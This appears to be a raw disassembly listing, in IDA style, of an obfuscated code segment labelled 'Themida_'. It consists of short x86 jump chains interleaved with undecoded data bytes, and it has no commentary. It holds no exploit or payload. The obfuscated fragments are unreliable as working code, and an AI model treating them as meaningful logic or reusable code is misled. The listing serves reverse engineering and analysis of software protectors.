loc_560963:				; CODE XREF: Themida_:00560481j
		mov	ecx, 30h
		jmp	loc_559B74
; ---------------------------------------------------------------------------


loc_56096D:				; CODE XREF: Themida_:0055591Fj
		pop	ebx
		push	edx
		jmp	loc_55ADD6
; ---------------------------------------------------------------------------
		dd 1BFh, 74C68100h, 151AB2Ah, 74EE81FEh, 8B51AB2Ah, 0E953243Ch
		dd 0FFFF6AE4h, 5C243487h, 0E9240C89h, 0FFFFF0BCh, 69606851h
		dd 4890000h, 7AA5B824h,	5950398Ch, 0E924048Bh, 0FFFF1468h
		dd 0B9404781h, 0E95AF756h, 0FFFF37E8h, 289CEF80h, 9CC780C7h
		dd 0F7805866h, 0FFF83081h, 815B2434h, 4C4h, 9331E900h
		dd 0E958FFFFh, 0FFFF057Bh, 0DFE9CE29h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5609EB:				; CODE XREF: Themida_:00560D3Bj
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5602D6
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5590BD
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C481h, 81460000h, 1EEh, 3E6C100h, 68h, 5C70E900h, 8951FFFFh
		dd 4C181E1h, 50000000h,	4B8h, 58C12900h, 5C240C87h, 230FE9h
		db 0
; ---------------------------------------------------------------------------


loc_560A59:				; CODE XREF: Themida_:0055B368j
		mov	eax, 256232B1h
		or	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		inc	ecx
		push	esi
		mov	esi, 5B8C317Ch
		push	edx
		mov	edx, 0B3F4E53h
		shr	edx, 7
		jmp	loc_5559C4
; ---------------------------------------------------------------------------
		dw 5E35h
		dd 51BCC01h, 468E615Fh,	5648D0F7h, 0AC2892BEh, 5EF03115h
		dd 158C729h, 16C781DFh,	0FF58A319h, 65E92434h, 8100000Fh
		dd 382A3CC7h, 6AC12DDEh, 0F82937FCh, 0FC6AC105h, 243C8B37h
		dd 0CC5EE956h, 4BFFFFFh, 1000000h, 604BE9FDh, 895FFFFFh
		dd 540159CAh, 585A0424h, 8DB0E953h, 0DF2DFFFFh,	35472205h
		dd 8BF96AAFh, 6CE9C689h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560AEF:				; CODE XREF: Themida_:0055C3C9j
		push	ebx
		jmp	loc_558835
; ---------------------------------------------------------------------------
		db 0C0h, 0EAh, 8
		dd 5166CAFEh, 88B5B652h, 0EEE95AF5h, 8100004Fh,	0C93EE8F2h
		dd 0E9DA873Eh, 462Ch, 5204F204h, 522CD800h, 0FF32E9E9h
		db 0FFh
byte_560B21	db 0F6h, 1Ch, 24h	; DATA XREF: Themida_:00550D60o
		dd 435E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B2A:				; CODE XREF: Themida_:00554274j
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_554BC2
; ---------------------------------------------------------------------------
		db 8, 0D9h, 5Bh
		dd 0E9B4C180h, 0FFFF2B46h
; ---------------------------------------------------------------------------


loc_560B44:				; CODE XREF: Themida_:0055499Ej
		mov	ebp, 55014757h
		jmp	loc_557055
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 240C8704h, 4EC815Ch,	89000000h, 3DBE2434h, 11E2F06h
		dd 2434FFF0h, 4C4815Eh,	2D000000h, 24B03EA3h, 15398605h
		dd 7D322D04h, 38E958E0h, 0BBFFFF56h, 69AB0F0Eh,	0E908EBC1h
		dd 0FFFF6EBFh, 242C815Bh, 54AB60B3h, 668A6851h,	0C8B690Dh
		dd 4C48324h, 4244C29h, 7CBB5359h, 813D474Eh, 4C04246Ch
		dd 811D4363h, 0BF04246Ch, 293EE011h, 8104245Ch,	0BF042444h
		dd 0E93EE011h, 0FFFFD73Fh
; ---------------------------------------------------------------------------


loc_560BD0:				; CODE XREF: Themida_:00563B87j
		pop	esi
		pop	eax
		xor	ebp, edi
		pop	edi
		and	ecx, ebp
		jmp	loc_55E5CA
; ---------------------------------------------------------------------------
		dd 6802C483h, 6CC1h, 0FF79A4E9h, 2EBC1FFh, 1ED9F381h, 0DBF7266Ch
		dd 3080EB81h, 0B9517E68h, 1A5366EBh, 0FFCE96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560C05:				; CODE XREF: Themida_:00551758j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		jmp	loc_552425
; ---------------------------------------------------------------------------
		db 21h,	0CBh, 59h
		dd 4DBBBA52h, 14E90145h, 51FFFF1Fh, 7E23C7B9h, 0E1814151h
		dd 243E7798h, 4779E9h, 3CED8100h, 294C290Ch, 9266E9F5h
		dd 5868FFFFh, 89000059h, 0A3B9240Ch, 52178E03h,	3F55A4BAh
		dd 0ECAFE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560C5E:				; CODE XREF: Themida_:0055A65Ej
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	75A7h
		jmp	loc_55D2F9
; ---------------------------------------------------------------------------
		dw 0C589h
		dd 0EB815F58h, 5A096542h, 0C381EB01h, 5A096542h, 5D2434FFh
		dd 4C481h, 0C3810000h, 2, 31241C33h, 1C33241Ch,	24248B24h
		dd 240C8B66h, 29E95451h, 31FFFF85h, 0D8315DEBh,	0E9241C8Bh
		dd 0FFFFC163h, 61E9525Eh
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560CBF:				; CODE XREF: Themida_:0055AEE8j
		mov	esp, [esp]
		xor	edi, 10E61F91h
		push	ebp
		mov	ebp, 13A25056h
		jmp	loc_5575EA
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF0287h, 4C481h, 0C4830000h, 242C8B04h, 3EE95457h
		dd 59FFFF99h, 81E28952h, 4C2h, 4B95100h, 81000000h, 0A6938EAh
		dd 81CA0149h, 0A6938C2h, 7EE95949h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560D0F:				; CODE XREF: Themida_:005520E9j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5659EA
; ---------------------------------------------------------------------------


loc_560D2D:				; CODE XREF: Themida_:00565327j
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		jmp	loc_5609EB
; ---------------------------------------------------------------------------


loc_560D40:				; CODE XREF: Themida_:0055128Cj
		push	eax
		push	edx
		push	65D646C2h
		jmp	loc_56291E
; ---------------------------------------------------------------------------
		dd 2404895Ch, 2BA5253h,	89000000h, 9E49E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560D5E:				; CODE XREF: Themida_:0055A486j
		add	edi, ecx
		pop	ecx
		xor	edi, [esp]
		jmp	loc_55C92A
; ---------------------------------------------------------------------------
		db 80h,	0C1h, 0A8h
		dd 459C800h, 3746E9C6h,	0F928FFFFh, 4B8CE9h
		db 0
; ---------------------------------------------------------------------------


loc_560D7D:				; CODE XREF: Themida_:005642EFj
		mov	edi, edx
		pop	edx
		shr	edi, 6
		add	edi, 0FF237F52h
		add	ebp, edi
		jmp	loc_551594
; ---------------------------------------------------------------------------


loc_560D90:				; CODE XREF: Themida_:00564A46j
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_56475C
; ---------------------------------------------------------------------------
		db 89h
		dd 4DB62414h, 88F78853h, 241C8BF9h, 4C481h, 665A0000h
		dd 3071B753h, 835B66F9h, 26E904ECh
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560DBF:				; CODE XREF: Themida_:00556C3Bj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_554872
; ---------------------------------------------------------------------------
		db 83h
		dd 70E904C4h, 29FFFFFBh, 0D9015AD1h, 2369BE56h,	0CE8127E1h
		dd 2A040DA6h, 1106F681h, 0DEF717C8h, 0FFEFFDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560DF9:				; CODE XREF: Themida_:00557CEFj
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 1
		add	edx, 2B6E78D5h
		add	edx, edi
		jmp	loc_55895A
; ---------------------------------------------------------------------------
		db 0C0h, 0ECh, 3
		dd 0FFB7FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560E25:				; CODE XREF: Themida_:0055C0FAj
		mov	[esp], eax
		mov	eax, 1Ch
		push	ebx
		mov	ebx, 3A60002Bh
		add	eax, ebx
		pop	ebx
		add	eax, 23D54096h
		add	eax, 6FC7FA7h
		add	eax, edi
		sub	eax, 6FC7FA7h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 23D54096h
		jmp	loc_55B328
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D8F703E0h, 0E906E8C1h, 0FFFFF8BAh, 6FECF681h, 0CEE92B7Eh
		dd 59FFFFA1h, 0E904EC83h, 0FFFFE84Bh, 0DBF633B3h, 8002E3C0h
		dd 0A1E915EBh, 0F7000042h, 12E981D9h, 319C5B9Ch, 0F52959CEh
		dd 240C8B5Eh, 4087E9h, 241C8900h, 0A2657F68h, 2434FF42h
		dd 81241C8Bh, 4C4h, 0EC815000h,	4, 83242489h, 58042404h
		dd 405h, 42D00h, 72E90000h, 0BDFFFF18h,	0B080950Ch, 0FF2367E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560ED9:				; CODE XREF: Themida_:0055E09Aj
		xor	ebp, 5807234Dh
		mov	ebx, ebp
		pop	ebp
		jmp	loc_552BB7
; ---------------------------------------------------------------------------
		db 56h
		dd 0F50A2EBEh, 78BFE97Bh, 272CFFFFh, 0FF9919E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560EF9:				; CODE XREF: Themida_:00558A8Cj
		add	ecx, 1938582Eh
		sub	ecx, 53DD1572h
		jmp	loc_55593D
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 240C3304h, 33240C31h, 248B240Ch, 68E1F724h, 7201h, 52241489h
		dd 0C281E289h, 4, 4EA81h, 14870000h, 7685C24h, 89000078h
		dd 4832424h, 48F0424h, 24048324h, 2434FF04h, 0FF2AF9E9h
		dd 81E789FFh, 4C7h, 4EF8300h, 0E9243C87h, 0FFFF9546h
; ---------------------------------------------------------------------------


loc_560F64:				; CODE XREF: Themida_:0055636Cj
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_552287
; ---------------------------------------------------------------------------
		dw 48Bh
aS6		db '$И',8,'6',0
		db 2 dup(0), 0F0h
		dd offset dword_5ABD2C
		dd 4EC83D8h, 0B1240C89h, 0D2F18066h, 0C07EC180h, 0C9FE02E9h
		dd 0FE11B353h, 80C3FEC3h, 9AE9D4C3h, 21FFFFFBh,	0E9515BDDh
		dd 39BDh
; ---------------------------------------------------------------------------


loc_560FA8:				; CODE XREF: Themida_:0055A2E8j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5550D4
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Fh, 83000000h,	48904ECh, 0A0DDE924h, 0C108FFFFh
		dd 8324048Bh, 0E18004C4h, 2AE9801Bh, 0FF0D65E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560FE1:				; CODE XREF: Themida_:00565551j
		add	al, 0FAh
		pop	ebx
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_564A34
; ---------------------------------------------------------------------------
		dd 1E68D7F7h, 0E900003Bh, 4267h, 0CB89E989h, 1128E9h, 8F665C00h
		dd 50E92404h, 81FFFEFFh, 4C4h, 431B6800h, 1C890000h, 27DC6824h
		dd 2C890000h, 22685624h, 0E937CB47h, 17E3h, 0E901C780h
		dd 0FFFF2C01h
; ---------------------------------------------------------------------------


loc_561038:				; CODE XREF: Themida_:0056270Aj
		push	41AC7F74h
		pop	eax
		jmp	loc_561A8F
; ---------------------------------------------------------------------------
		db 31h
		dd 243C8BFEh, 4C481h, 0F2010000h, 2C2815Eh, 52000000h
		dd 42474FFh, 5324148Bh,	0C381E389h, 4, 8704C383h, 0E95C241Ch
		dd 0FFFFC438h, 405h, 14E95500h
		db 4Ch,	2 dup(0FFh)
byte_56107F	db 66h			; DATA XREF: Themida_:00550E58o
		dd 68240C8Bh, 7AD0h, 54240489h,	40558h,	0EC810000h, 4
		dd 0BF243C89h, 2, 2463E12Dh, 7FA72D1Fh,	0F8011D10h, 107FA705h
		dd 441BE91Dh, 248B0000h, 0E3D3E924h, 0E681FFFFh, 2C1E7A28h
		dd 0E903EEC1h, 0FFFF559Fh, 0C9B6E957h, 0E689FFFFh, 9C69E957h
		dd 0C146FFFFh, 0EE8104E6h, 0A3CD5803h, 515EF021h, 23658CB9h
		dd 314DE901h, 8D68FFFFh, 89000036h, 6CBF243Ch, 0F72D8974h
		dd 0EF8147DFh, 0EA81D2E1h, 815FF931h, 9134EBC2h, 1355E922h
		dd 665DFFFFh, 0E924148Bh, 2DC7h
; ---------------------------------------------------------------------------


loc_561120:				; CODE XREF: Themida_:0055F377j
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_55D765
; ---------------------------------------------------------------------------


loc_56112A:				; CODE XREF: Themida_:00552FBAj
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		idiv	ecx
		jmp	loc_563FC5
; ---------------------------------------------------------------------------


loc_56113D:				; CODE XREF: Themida_:0055E995j
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5542FC
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 59h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561153:				; CODE XREF: Themida_:005614D8j
		shl	edx, 8
		jmp	loc_561E47
; ---------------------------------------------------------------------------
		db 4Eh
		dd 66FFF681h, 0C2815D7Ch, 683A4C77h, 0EA81F201h, 683A4C77h
		dd 8DE2815Eh, 501BC82Ah, 1B8h, 58C22900h, 88EF281h, 0BB533619h
		dd 30503D86h, 3FE9DA31h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561193:				; CODE XREF: Themida_:00554970j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_558B9D
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 516604C4h, 0E80871B5h, 240C8B66h,	2C481h
		dd 31E90000h, 89FFFFDAh, 12BE2434h, 81721075h, 53703FCEh
		dd 9EEE8177h, 0E92DBB4Fh, 0FFFF3464h
; ---------------------------------------------------------------------------


loc_5611D0:				; CODE XREF: Themida_:00556772j
		mov	esi, 610B2CFFh
		mov	edx, esi
		pop	esi
		push	ecx
		mov	ecx, 5EA3549Bh
		dec	ecx
		add	ecx, 0E72C5h
		sub	ecx, 184A47FBh
		xor	edx, ecx
		jmp	loc_5652E0
; ---------------------------------------------------------------------------
aHln		db '\hln',0
		align 4
		dd 0FF37A6E9h, 46822DFFh, 65E91071h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561207:				; CODE XREF: Themida_:0055F5E5j
		push	edx
		jmp	loc_565088
; ---------------------------------------------------------------------------


loc_56120D:				; CODE XREF: Themida_:0055665Bj
		sub	edi, 24EA1122h
		pop	ecx
		sub	edi, 4
		jmp	loc_55F376
; ---------------------------------------------------------------------------
		dd 4BDh, 5DEE0100h, 0E9243487h,	0FFFFFFC6h, 8B5FFB29h
		dd 0B3682434h, 8900006Dh, 29E92404h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56123F:				; CODE XREF: Themida_:005640D0j
		mov	[esp], eax
		push	ecx
		jmp	loc_55993A
; ---------------------------------------------------------------------------


loc_561248:				; CODE XREF: Themida_:00556ACFj
		mov	ecx, ebx
		jmp	loc_558A8B
; ---------------------------------------------------------------------------


loc_56124F:				; CODE XREF: Themida_:00564781j
		sub	edx, 0F56742Bh
		jmp	loc_560899
; ---------------------------------------------------------------------------
		dw 0F5Ch
aHbz		db 'хh│z',0
		align 2
		dw 489h
		dd 7FA8E924h, 0C481FFFFh, 4, 2B5AAB05h,	86BB5335h, 0E94DD05Eh
		dd 0FFFFA375h, 0E9243489h, 0FFFF0E10h, 206E0168h, 0C3815B40h
		dd 694379EEh, 7008C381h, 0D8897789h, 8322E95Bh,	0C531FFFFh
		dd 0FF151CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5612A9:				; CODE XREF: Themida_:0055DD6Bj
		pop	ebx
		xor	esi, [edi+24h]
		xor	[edi+24h], esi
		inc	esi
		xor	[edi+24h], esi
		xor	esi, [edi+24h]
		push	ecx
		push	5205h
		jmp	loc_55B805
; ---------------------------------------------------------------------------


loc_5612C2:				; CODE XREF: Themida_:0055F0DFj
		pop	ebx
		add	esp, 4
		add	ebx, edi
		push	dword ptr [ebx]
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_563C03
; ---------------------------------------------------------------------------
		db 58h
		dd 0E41E951h, 0EB810000h, 58CD2E3Eh, 0C381C301h, 58CD2E3Eh
		dd 1FEB8158h, 533FEC2Eh, 0FF9255E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5612FD:				; CODE XREF: Themida_:005552BFj
		sub	edi, 0E805FA4h
		mov	ecx, edi
		pop	edi
		push	5B36h
		mov	[esp], eax
		mov	eax, 3CA0723Dh
		jmp	loc_562C78
; ---------------------------------------------------------------------------


loc_561318:				; CODE XREF: Themida_:00551461j
		push	ebx
		push	edx
		mov	edx, 7076639Dh
		push	707663A1h
		pop	ebx
		sub	ebx, 785710A7h
		sub	ebx, edx
		add	ebx, 785710A7h
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edi, 28220FD3h
		jmp	loc_565B93
; ---------------------------------------------------------------------------


loc_561351:				; CODE XREF: Themida_:00556582j
		push	41E06581h
		mov	edi, [esp]
		add	esp, 4
		shr	edi, 2
		push	ebp
		mov	ebp, 1078195Ch
		sub	edi, ebp
		pop	ebp
		mov	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55BDA0
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 5BD916DCh, 22D5EB81h, 93E93152h
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561387:				; CODE XREF: Themida_:0055F879j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_565564
; ---------------------------------------------------------------------------
		dw 62B8h
		dd 0E91C8542h, 3865h, 0C781E789h, 4, 4B951h, 0CF010000h
		dd 74FF5759h, 3C8B0424h, 4C48124h, 0E9000000h, 0FFFF562Ch
; ---------------------------------------------------------------------------


loc_5613CC:				; CODE XREF: Themida_:0055B812j
		neg	ebx
		push	eax
		mov	eax, 256361FAh
		shl	eax, 7
		inc	eax
		push	edx
		mov	edx, 1EC020C1h
		shl	edx, 7
		jmp	loc_563566
; ---------------------------------------------------------------------------
		dd offset dword_445750+1718h
		dw 5E6Bh
		dd 0E952D6F7h, 0FFFF4AC0h
; ---------------------------------------------------------------------------


loc_5613F4:				; CODE XREF: Themida_:00555E7Aj
		inc	ecx
		jmp	loc_5530C3
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C48104h, 2D000000h,	770C703Fh, 0FF313BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56140D:				; CODE XREF: Themida_:00564EFAj
		pop	esi
		shr	ebx, 3
		jmp	loc_565778
; ---------------------------------------------------------------------------
		dw 81BAh
		dd 0F7228F2Bh, 1DE281D2h, 812A5453h, 851CCAE2h,	0B8504220h
		dd 2BB4BFCh, 8158C209h,	14FCC8EAh, 5AD029D3h, 86E9F801h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561443:				; CODE XREF: Themida_:0055943Dj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edi
		mov	edi, 72997ED3h
		sub	esp, 4
		mov	[esp], esi
		push	0D56h
		jmp	loc_555B76
; ---------------------------------------------------------------------------
		db 68h,	0BAh, 31h
		dd 0B9E90000h, 0BFFFFF47h, 43D35F10h, 1957E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561482:				; CODE XREF: Themida_:0055CD83j
		mov	esi, 4
		add	edx, 690E3469h
		sub	edx, 50973F94h
		sub	edx, esi
		add	edx, 50973F94h
		sub	edx, 690E3469h
		pop	esi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	5352h
		mov	[esp], ecx
		push	57D85B52h
		pop	ecx
		sub	ecx, 57D85B53h
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	[edi+24h], edx
		pop	edx
		jmp	loc_558E4E
; ---------------------------------------------------------------------------


loc_5614D4:				; CODE XREF: Themida_:00562EC3j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_561153
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0D8h
		dd 2937F175h, 0C886E9F3h
		db 2 dup(0FFh)
word_5614EA	dw 8B66h		; DATA XREF: Themida_:00550D68o
		dd 54502404h, 0A4B95158h, 413B7467h, 0E981D1F7h, 0C48B9856h
		dd 0B2E9C801h, 5700003Dh, 0F6A0BABFh, 0B4C2E947h, 34FFFFFFh
		dd 54525824h, 0FF8BE3E9h, 66C328FFh, 4EC8351h, 0B2241489h
		dd 0C9FE9BEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56152E:				; CODE XREF: Themida_:0055DF2Cj
		mov	esi, 7B710192h
		push	ecx
		mov	ecx, 78AB67ADh
		jmp	loc_562697
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 74E90424h, 5BFFFFBFh, 8244C29h, 243C8B59h, 4EC81h, 1C890000h
		dd 81E38924h, 4C3h, 46AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561566:				; CODE XREF: Themida_:00563828j
		shr	ebp, 4
		xchg	esi, ebp
		jmp	loc_55FFFB
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0FF502424h, 0FF042474h, 68E92434h, 8B00002Bh
		dd 0C483242Ch, 2E5C104h, 2DCCE9h, 243C8B00h, 0FF620FE9h
		dd 1B2FFh, 0F28058C2h, 0E9D028CAh, 3ED6h, 8092EA81h, 0E981D494h
		dd 4B42165Dh, 0B7E9D101h, 28FFFEFDh, 0CBEFE9D8h, 0D1F7FFFFh
		dd 6E6FE981h, 0F1813A95h, 363CE427h, 0C8BCF31h,	4C48124h
		dd 0F7000000h, 50DF68D7h, 4890000h, 4F66B824h, 0EC836E2Fh
		dd 243C8904h, 96425BFh,	0BACF8163h, 4F325B3Ah, 5D47EF81h
		dd 0E95273E7h, 0FFFF8A7Eh, 83E9C628h, 8B00001Bh, 24892424h
		dd 7A62E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56161A:				; CODE XREF: Themida_:0055E2BBj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 24h
		add	edx, edi
		push	6C71h
		mov	[esp], ebx
		push	edx
		jmp	loc_55D9C4
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 1C7E354Fh, 0FF5FF829h, 815F2434h, 4C4h
		dd 79866800h, 34890000h, 3B28BE24h, 0EEC10FD1h,	0F802E905h
		dd 0C483FFFFh, 2262E904h, 1E680000h, 89000070h,	0E389241Ch
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 45A6E9h, 24143300h
		dd 0E9241431h, 3F35h, 4C281h, 0C2830000h, 24148704h, 8124248Bh
		dd 4C3h, 4C38100h, 87000000h, 248B241Ch, 38AAE924h, 0E957FFFFh
		dd 0FFFFA636h, 56241C89h, 0C8584ABEh, 3DFCE96Dh, 0DA01FFFFh
		dd 2414875Bh, 0E924248Bh, 2315h, 51406525h, 402D73h, 0C5816301h
		dd 60586B20h, 0EEE9C529h, 81FFFF7Fh, 4C4h, 58C12900h, 5C240C87h
		dd 54240C89h, 0FCBF5759h, 0F725C049h, 0AB0CE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561712:				; CODE XREF: Themida_:00558736j
		sub	ecx, edx
		pop	edx
		sub	ecx, 1393729h
		jmp	loc_557C92
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFFE97Ah
; ---------------------------------------------------------------------------


loc_561728:				; CODE XREF: Themida_:00554BD3j
		pop	ecx
		jmp	loc_55D9D1
; ---------------------------------------------------------------------------


loc_56172E:				; CODE XREF: Themida_:0055A369j
		push	1900h
		mov	[esp], ecx
		mov	ecx, 77ED1098h
		shl	ecx, 1
		jmp	loc_55767D
; ---------------------------------------------------------------------------
		dw 0B5B5h
		dd 6659EE88h, 8CB75351h, 0C2E9FD88h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561753:				; CODE XREF: Themida_:00562532j
		neg	edx
		shl	edx, 6
		shr	edx, 2
		shl	edx, 2
		push	ebp
		mov	ebp, 0FF83BC98h
		xor	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_552155
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 69F10CFFh, 0FFDE1BE9h, 4C681FFh, 0E9000000h,	0FFFFC99Dh
		dd 33243431h, 248B2434h, 3E8EE924h, 0EC83FFFFh,	243C8904h
		dd 0CB1194BFh, 53EF8130h, 0E9469571h, 0FFFFAF39h, 78C7815Bh
		dd 81CDC608h, 4ECh, 243C8900h, 243C8B58h, 0E9E78957h, 0FFFF5CCEh
		dd 0ED26F1B9h, 5BD93131h, 311C681h, 0CE010BC2h,	311EE81h
		dd 81590BC2h, 0CA6224EEh, 53FE0178h, 1A7EECBBh,	4B43435Fh
		dd 0F381D3F7h, 0D82FE336h, 0FF1E4EE9h, 0FAC681FFh, 2131B2E9h
		dd 0E2D15EF2h, 0FF74B6E9h, 896664FFh, 0F73DE902h, 9BB9FFFEh
		dd 0F768B70Eh, 47E949D9h, 8700003Ah, 248B2404h,	24040024h
		dd 0F721E99Ch, 0B850FFFEh, 4, 4244401h,	0FF5739E9h
		db 0FFh
byte_56184D	db 0ADh, 0E9h, 29h	; DATA XREF: Themida_:00550CFCo
		dd 50FFFF55h, 0ED0C34B8h, 0FFC381A6h, 8129AC78h, 5C0CC6C3h
		dd 0DAC3811Ah, 2917F638h, 174DE9C3h, 0E929FFFFh, 5E12E981h
		dd 59E96F50h, 68FFFF1Bh, 4D71h,	54243489h, 5E2434FFh, 4C481h
		dd 0BD550000h, 13046DEh, 5B8BF581h, 0D9E92720h,	5BFFFF2Eh
		dd 0FF6BBEE9h, 58E288FFh, 80FACA80h, 6DE9FFC2h,	1FFFFC8h
		dd 9CE4E9C1h, 8853FFFFh, 0E9D988E3h, 0FFFFB26Ah, 0D413C368h
		dd 1BE95B44h, 5DFFFF3Fh, 5162E957h, 0F729FFFFh,	0E956555Eh
		dd 0FFFF760Ch, 638EB850h, 53056361h, 0E9FD3AAEh, 0FFFF2DFDh
		dd 0F681E6D1h, 0D9BA0FB6h, 0FF356EE9h, 4EC81FFh, 89000000h
		dd 0BD552404h, 665542A0h, 0FF58D7E9h, 5EF731FFh, 9DCEE81h
		dd 0E9501CE3h, 0FFFF7127h, 68C8B70Fh, 7901h, 54241C89h
		dd 0FFDD31E9h, 4C483FFh, 815FFB01h, 1BF71FC3h, 0E9DF017Dh
		dd 0FFFF6A5Ch, 537E6B2Dh, 8E8C145h, 8F65C42Dh, 26130521h
		dd 0C2298600h, 81CA0158h, 662C09C2h, 0FF525965h, 8B042474h
		dd 0C4832414h, 0A69FE904h, 0E181FFFFh, 63971ABBh, 896E981h
		dd 0C8016096h, 2DBA5259h, 680F0124h, 4183h, 0B8240489h
		dd 17A6DB7h, 0FF6B49E9h, 24348BFFh, 5704C483h, 4BFh, 5FF92900h
		dd 31240C33h, 0C33240Ch, 24895C24h, 1D91E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5619BE:				; CODE XREF: Themida_:0055EEC1j
		mov	ebp, 4
		mov	edx, ebp
		jmp	loc_5632A9
; ---------------------------------------------------------------------------
		dw 5B5Ah
		dd 8158C289h, 4543CEC3h, 23F1E910h, 0E95AFFFFh,	0FFFFBD55h
		dd 48C968h, 24048900h, 0FF8813E9h
		db 0FFh
byte_5619ED	db 66h,	8Bh, 4		; DATA XREF: Themida_:00550E84o
		dd 0E7895724h, 8904EC83h, 0EC83241Ch, 24048904h, 0FF69F1E9h
		db 0FFh
byte_561A05	db 0ACh, 52h, 0E9h	; DATA XREF: Themida_:00550C88o
		dd 0FFFFA5FCh, 4C4835Bh, 5C243C87h, 9C240431h, 0FEF542E9h
		db 0FFh
byte_561A1D	db 0ADh, 0E9h, 0AEh	; DATA XREF: Themida_:00550CA8o
		dd 0FFFFFF96h, 48B2434h, 1681E924h, 23B9FFFFh, 17FF920h
		dd 36E959CDh, 8100002Bh, 2DD4B7C7h, 5FFE01FBh, 8B5EF101h
